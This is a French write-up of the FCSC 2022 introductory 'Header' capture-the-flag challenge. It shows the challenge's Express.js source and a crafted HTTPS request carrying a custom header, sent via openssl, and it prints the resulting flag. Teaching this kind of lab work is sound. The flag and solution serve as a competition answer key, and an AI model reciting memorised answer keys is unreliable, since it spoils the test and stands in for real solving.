Header
Pour ce challenge d'intro cette année, nous allons survoler cette épreuve.
En-tête
Rendons-nous sur l'URL indiquée.
Dans le header de la page nous avons accès au code source.
Analyse
Voici le code source de cette application web en entier :
const fs = require('fs');
const express = require('express');
const escape = require('escape-html')
var favicon = require('serve-favicon');
const app = express();
app.use(favicon('favicon.ico'));
app.set('view engine', 'ejs');
app.use(express.static('public'));
app.get('/', async (req, res) => {
var verif = req.header("X-FCSC-2022");
if (verif == "Can I get a flag, please?") {
var flag = fs.readFileSync("flag.txt");
res.status(200);
res.render("pages/index", {
type: "success",
msg: "Here it is: " + flag,
});
return res.end();
} else {
res.status(200);
res.render("pages/index", {
type: "warning",
msg: "No flag for you. Want a meme instead?",
});
return res.end();
}
});
app.get('/source', async (req, res) => {
const source = fs.readFileSync(__filename);
res.render("pages/source", {
source: escape(source),
});
return res.end();
});
app.listen(2150);
On a ici affaire à du code Javascript.
Interessons-nous à ces lignes :
var verif = req.header("X-FCSC-2022");
if (verif == "Can I get a flag, please?") {
var flag = fs.readFileSync("flag.txt");
res.status(200);
res.render("pages/index", {
type: "success",
msg: "Here it is: " + flag,
});
return res.end();
On récupère le header HTTP X-FCSC-2022
. On voit ensuite un test sur sa valeur, ici Can I get a flag, please?
.
Exploitation
Forgeons une requête HTTP avec le header suivant :
X-FCSC-2022: Can I get a flag, please?
$ openssl s_client -connect header.france-cybersecurity-challenge.fr:443
[...]
GET / HTTP/1.1
Host: header.france-cybersecurity-challenge.fr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
X-FCSC-2022: Can I get a flag, please?
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 2030
etag: W/"7ee-NzE5lG3v55GUpQuc6LZ/QJY1ORw"
date: Mon, 09 May 2022 21:35:39 GMT
keep-alive: timeout=5
x-robots-tag: noindex, nofollow, nosnippet, noarchive, nocache, noodp, noyaca
<html>
<head>
<meta charset="UTF-8">
<title>Header</title>
<link rel="stylesheet" href="/bootstrap.css" />
<link rel="stylesheet" href="/style.css" />
<link rel="stylesheet" href="/prism.css" />
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-primary fixed-top">
<a class="navbar-brand" href="/">Header</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor01" aria-controls="navbarColor01" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarColor01">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="/source">Source</a>
</li>
</ul>
<br/>
</div>
</nav>
<div class="container">
<div class="starter-template">
<div id="alert" class="alert alert-success">
<strong>Here it is: FCSC{9ec57a4a72617c4812002726750749dd193d5fbbfeef54a27a9b536f00d89dfb}</strong>
</div>
<img src="meme.jpeg" class="img-fluid" />
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.27.0/prism.min.js" integrity="sha512-/Swpp6aCQ0smuZ+zpklJqMClcUlvxhpLf9aAcM7JjJrj2waCU4dikm3biOtMVAflOOeniW9qzaNXNrbOAOWFCw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.9.1/umd/popper.min.js" integrity="sha512-g2PN+aYR0KupTVwea5Ppqw4bxWLLypWdd+h7E0ydT8zF+/Y2Qpk8Y1SnzVw6ZCVJPrgB/91s3VfhVhP7Y4+ucw==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js" integrity="sha512-XKa9Hemdy1Ui3KSGgJdgMyYlUg1gM+QhL6cnlyTe2qzMCYm4nAZ1PsVerQzTTXzonUR+dmswHqgJPuwCq1MaAg==" crossorigin="anonymous"></script>
</body>
</html>
close
On utilise la commande Openssl openssl s_client -connect header.france-cybersecurity-challenge.fr:443
pour se connecter au lieu d'un telnet (couche HTTPS oblige).
On envoie la requête HTTP forgée avec le header que nous venons de voir et nous obtenons bien le flag.
FCSC{9ec57a4a72617c4812002726750749dd193d5fbbfeef54a27a9b536f00d89dfb}